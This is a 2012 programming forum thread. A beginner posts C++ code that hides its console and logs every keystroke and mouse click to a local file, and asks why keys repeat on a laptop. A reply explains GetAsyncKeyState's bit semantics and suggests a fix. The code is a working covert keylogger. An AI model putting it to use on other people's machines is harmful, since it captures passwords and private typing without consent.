3 Replies - 271 Views - Last Post: 25 July 2012 - 10:29 PM Rate Topic: -----

#1 goodsir  Icon User is offline

  • New D.I.C Head

Reputation: 3
  • View blog
  • Posts: 21
  • Joined: 25-July 12

GetAsyncKeyState inconsistancy

Posted 25 July 2012 - 07:27 PM

I'm beginning c++, and (in addition to my book), I've found just surfing msdn and experimenting from there quite fun. However I ran into something quite perplexing: it records only one key per press on my desktop(desired), but on my laptop, when I ran the same program, multiple characters were recorded per keypress.
Here is my code:
#include <iostream>
#include <fstream>
using namespace std;

#include <Windows.h>
#include <Winuser.h>


int main(int argc, char *argv[])
{
    FreeConsole();
    int mouseX = 0;
    int mouseY = 0;
    
    while (1)
    {
        for (char i = 0; i < 126; i++)
        {
             if (GetAsyncKeyState(i) == -32767)
             {
                if (i == '{')
                { 
                   return EXIT_SUCCESS;    
                }
                ofstream fileSaver;
                fileSaver.open("C:\\LOGWITHMOUSE.txt", ios::app);
                
                if ((int)i == 1 || (int)i == 2)
                {
                   POINT cursorPos;
                   GetCursorPos(&cursorPos);

                    mouseX = (int) cursorPos.x;
                    mouseY = (int) cursorPos.y;  
                   fileSaver << endl << " MouseClick! Coordinates: (" << mouseX << ", " << mouseY << ")" << endl;        
                }
                
                else
                {
                   fileSaver << i;
                }
                
                fileSaver.close();                             
             }    
        }  
    }
    
}

I've tried to correct this by adding the sleep function, and with a little troubleshooting I can get close to the right amount, but it isn't nearly as good as when it's ran on my desktop. Also, I stored the last char pressed in a variable, and only wrote the char if it was unequal to the present char (but that doesn't work as desired for obvious reasons). I'm stumped. Can someone please shed some light as to why this is happening?

Is This A Good Question/Topic? 0
  • +

Replies To: GetAsyncKeyState inconsistancy

#2 Skydiver  Icon User is online

  • Code herder
  • member icon

Reputation: 1896
  • View blog
  • Posts: 5,687
  • Joined: 05-May 12

Re: GetAsyncKeyState inconsistancy

Posted 25 July 2012 - 09:40 PM

Read the documentation for GetAsyncKeyState(): http://msdn.microsof...3(v=vs.85).aspx

You are checking for GetAsyncKeyState(i) == 0x8001 which means the key is pressed and it was pressed after the last check with GetAsyncKeyState(). As documented in MSDN:

Quote

If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks.

:

Although the least significant bit of the return value indicates whether the key has been pressed since the last query, due to the pre-emptive multitasking nature of Windows, another application can call GetAsyncKeyState and receive the "recently pressed" bit instead of your application. The behavior of the least significant bit of the return value is retained strictly for compatibility with 16-bit Windows applications (which are non-preemptive) and should not be relied upon.


Which basically means there is probably another app on your laptop that is actively calling GetAsyncKeyState() like you are and messing you up.

You probably want: GetAsyncKeyState(i) & 0x8000 to see if the key is pressed.

This post has been edited by Skydiver: 25 July 2012 - 09:43 PM

Was This Post Helpful? 1
  • +
  • -

#3 goodsir  Icon User is offline

  • New D.I.C Head

Reputation: 3
  • View blog
  • Posts: 21
  • Joined: 25-July 12

Re: GetAsyncKeyState inconsistancy

Posted 25 July 2012 - 10:19 PM

Thank you very much. While reading the documentation by myself, I fear I skipped over those paragraphs, as they seemed too dense at the time (I don't know much about bits and such). But when I took the time to actually read it, it made sense. I had Unity3D open at the time, would that have also called the function?
Was This Post Helpful? 0
  • +
  • -

#4 Skydiver  Icon User is online

  • Code herder
  • member icon

Reputation: 1896
  • View blog
  • Posts: 5,687
  • Joined: 05-May 12

Re: GetAsyncKeyState inconsistancy

Posted 25 July 2012 - 10:29 PM

It could have been any program. You could try running your program on your laptop without Unity3D and see if you are still seeing the same behavior.

Many years, ago there was a video card driver that packaged along a bunch of other bloatware, and one of those bits of bloatware was pretty bad about actively calling GetAsyncKeyState() in a tight loop.

This post has been edited by Skydiver: 26 July 2012 - 01:25 AM

Was This Post Helpful? 0
  • +
  • -

Page 1 of 1